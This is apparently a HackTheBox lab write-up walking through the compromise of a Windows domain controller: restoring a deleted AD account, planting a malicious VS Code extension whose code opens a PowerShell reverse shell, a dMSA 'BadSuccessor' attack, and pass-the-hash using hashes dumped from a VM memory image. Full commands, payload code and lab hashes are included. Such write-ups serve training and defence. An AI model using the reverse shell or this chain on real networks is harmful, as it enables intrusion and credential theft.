Machine Overview
| Platform | HackTheBox |
| Target | dc01.checkpoint.htb |
| Operating System | Windows Server 2025 (Build 26100.32860) |
| Role | Domain Controller |
| Domain | checkpoint.htb |
| Starting credentials | alex.turner : Checkpoint2024! |
Attack Chain Summary
alex.turner (Checkpoint2024!): write ACL on Deleted Objects container
↓
Restore tombstoned account: mark.davies
↓
Credential reuse → mark.davies : Checkpoint2024!
↓
DevDrop SMB share (READ/WRITE) → drop malicious .vsix
↓
Backend auto-installs extension → reverse shell as ryan.brooks [USER FLAG]
↓
ryan.brooks: CreateChild on OU=DMSAHolder + GenericWrite on svc_deploy
↓
dMSA BadSuccessor (SharpSuccessor) → svc_deploy NT hash via previous keys
↓
svc_deploy → VMBackups share → NightlyBackup_2024-11-01 memory image
↓
Volatility hashdump on .vmem → Administrator NT hash
↓
Pass-the-hash (evil-winrm) → Domain Admin [ROOT FLAG]Attack Path Overview
A high-level view of the route, start to Domain Admin, without the spoilers:
- A misconfigured permission lets a low-privileged user bring a deleted account back to life.
- Reused credentials and a writable developer share turn that access into a real foothold through a malicious editor extension.
- A modern delegated Managed Service Account technique recovers the keys of a backup-capable service account.
- A forgotten virtual machine memory image gives up the Administrator hash, and a pass-the-hash finishes the domain.
Environment Notes (Hardening That Breaks Tooling)
This DC is locked down in ways that quietly break common tools. Set these straight before you start, or you will burn time on phantom failures.
- LDAP signing is enforced. A plain
ldapsearch -xbind is refused. Use Kerberos-binding tools or-Y GSSAPI. - Self-signed LDAPS certificate. Strict TLS clients (certipy, anything on rustls) reset the connection. Pin the DC and prefer Kerberos.
- The FQDN also resolves to IPv6. Pin
--dc-ip(or-i) on every tool so you do not silently hit the v6 address. - PKINIT is off (no CA). Shadow-credential attacks can write the attribute but cannot authenticate, returning
KDC_ERR_PADATA_TYPE_NOSUPP. certipy confirms 0 CAs and 0 templates, AD CS and every ESC path are dead ends here. - Clock skew (~7h) breaks Kerberos. Sync to the DC before requesting tickets:
sudo timedatectl set-ntp false
sudo ntpdate dc01.checkpoint.htb- The IP rotates on reset (~6h). Domain accounts (for example the
svc_deployhash) survive a reset. Restored objects and the dMSA do not, recreate those after a reset.
Enumeration: BloodHound CE with RustHound-CE
Because LDAP signing is enforced, collect over Kerberos rather than a plain bind. Get a ticket for the starting user, then run RustHound-CE against the DC and zip the result for BloodHound Community Edition.
# Ticket for the starting user (clock must already be synced)
impacket-getTGT -dc-ip <IP> 'checkpoint.htb/alex.turner:Checkpoint2024!'
export KRB5CCNAME=alex.turner.ccache
# Collect with RustHound-CE over Kerberos, pin the DC, zip for ingest
rusthound-ce -d checkpoint.htb -k -f dc01.checkpoint.htb -i <IP> -z -o loot/If you would rather authenticate with the password, force LDAPS so the signing requirement is satisfied by the encrypted channel:
rusthound-ce -d checkpoint.htb \
-u alex.turner@checkpoint.htb -p 'Checkpoint2024!' \
-f dc01.checkpoint.htb -i <IP> --ldaps -z -o loot/Import the resulting .zip into BloodHound CE, mark alex.turner as Owned, and run the shortest-path queries. The graph surfaces the two relationships the whole box hangs on: write access over a deleted user object, and a GenericWrite from a later account onto a service account.
Foothold
1. Find what alex can write
alex.turner holds write access over a tombstoned account and a DACL write on the Deleted Objects container.
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' get writable --detail2. Restore the deleted account
Recover the deleted object's sAMAccountName using the show-deleted control 1.2.840.113556.1.4.2064, then restore it:
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
get search --base 'CN=Deleted Objects,DC=checkpoint,DC=htb' \
--filter '(isDeleted=TRUE)' --attr sAMAccountName,objectGUID
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' set restore 'mark.davies'3. Credential reuse
The restored account reuses the starting password:
mark.davies : Checkpoint2024!Always test reused passwords before reaching for AS-REP roasting or Kerberoasting, cracking the restored account here produces nothing.
4. Drop a malicious VS Code extension
mark.davies has READ and WRITE on the DevDrop share, and a backend process installs whatever extension lands there. Build a .vsix whose package.json declares a compatible engine and whose entry point spawns a reverse shell.
package.json:
{
"name": "devdrop-helper",
"publisher": "checkpoint",
"version": "0.0.1",
"engines": { "vscode": "^1.118.0" },
"main": "./extension.js",
"activationEvents": ["*"],
"contributes": {}
}extension.js:
const cp = require("child_process");
function activate() {
cp.exec("powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('<LHOST>',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()}\"");
}
module.exports = { activate };Package it (vsce package), start a listener, and upload:
nc -lvnp 443
smbclient //checkpoint.htb/DevDrop -U 'mark.davies%Checkpoint2024!' \
-c 'put devdrop-helper.vsix'The backend installs the extension and the listener catches a shell as ryan.brooks. Grab user.txt. Defender is disabled on the host, so no AMSI dance is needed.
Privilege Escalation: ryan.brooks → svc_deploy (BadSuccessor / dMSA)
ryan.brooks holds CreateChild on OU=DMSAHolder plus GenericWrite on svc_deploy. That is exactly the primitive a delegated Managed Service Account (dMSA) BadSuccessor attack needs.
Why the obvious attacks fail here
- Shadow Credentials require PKINIT, which is off.
- Targeted Kerberoast against
svc_deployyields a hash that does not crack. - A direct password reset via
GenericWritereturnsACCESS_DENIED. - Targeting Administrator with BadSuccessor fails because the patched build refuses the write to the Administrator object.
The working target is svc_deploy.
1. Create and weaponize the dMSA
Run this from the ryan.brooks shell. SharpSuccessor is LDAP-only, so it works even over an unstable shell:
.\ss.exe add /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:mark.davies /name:evildmsa /impersonate:svc_deployThe /account: value is the principal allowed to retrieve the dMSA keys. Set it to mark.davies, it has clean credentials you can drive from Kali. Do not use ryan.brooks, which is shell-only and cannot perform the Kerberos and SSPI work.
2. Pull the svc_deploy hash from Kali
impacket-getTGT -dc-ip <IP> 'checkpoint.htb/mark.davies:Checkpoint2024!'
export KRB5CCNAME='mark.davies.ccache'
impacket-getST -k -no-pass -dc-ip <IP> \
-impersonate 'evildmsa$' -self -dmsa 'checkpoint.htb/mark.davies'The output includes the previous keys, which is the svc_deploy NT hash:
Previous keys:
rc4_hmac: e16081eb077aca74bdbf8af12af43ac9Use impacket's getST for this, Rubeus v2.3.3 does not print the previous keys. A KDC_ERR_POLICY error means the /account: principal does not match the identity you authenticated as.
3. Authenticate as the real svc_deploy
Only svc_deploy carries BackupAccess in its PAC, so authenticate as that account rather than as the dMSA:
netexec smb dc01.checkpoint.htb -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares
# VMBackups -> READ
evil-winrm -i <IP> -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9Note: max.palmer is not a BadSuccessor path
The Domain Admin max.palmer is adminCount=1, so AdminSDHolder protects the object. On this patched DC the dMSA superseded-link write to a protected target is denied, confirmed by both SharpSuccessor (Access is denied) and bloodyAD. Changing /account: does nothing because the denial sits on the target's ACL via SDProp. The intended root path is the backup share, not max.palmer.
Root: VMBackups → Administrator
The VMBackups share maps to C:\Shares\VMBackups. Inside, NightlyBackup_2024-11-01\memory forensics\ holds a VMware snapshot of a Server 2019 VM: a 2 GB .vmem RAM image, a .vmsn, and a base plus delta .vmdk.
Run Volatility 3 hashdump against the complete .vmem:
vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump.Hashdump
# Administrator 500 aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3bPass the hash for root:
evil-winrm -i <DC_IP> -u Administrator -H f29e9c014295b9b32139b09a2790be3b
type C:\Users\Administrator\Desktop\root.txtTroubleshooting: If the memory image passes
windows.infobut every structure-walking plugin (hivelist,hashdump) returns empty or reports a smear, suspect a truncated transfer before assuming the acquisition is bad. The.vmemis large and a slow link can cut the download silently, which looks identical to corruption. Compare your local file size against the share's reported size first, a clean re-pull parses on the first try.
Summary
| Stage | Technique |
|---|---|
| Foothold | Restore a deleted AD object via a writable ACL, reuse credentials, deliver a malicious .vsix |
| Lateral / Privesc | dMSA BadSuccessor to recover a service account NT hash |
| Root | Volatility hashdump from a VM memory image, then pass-the-hash |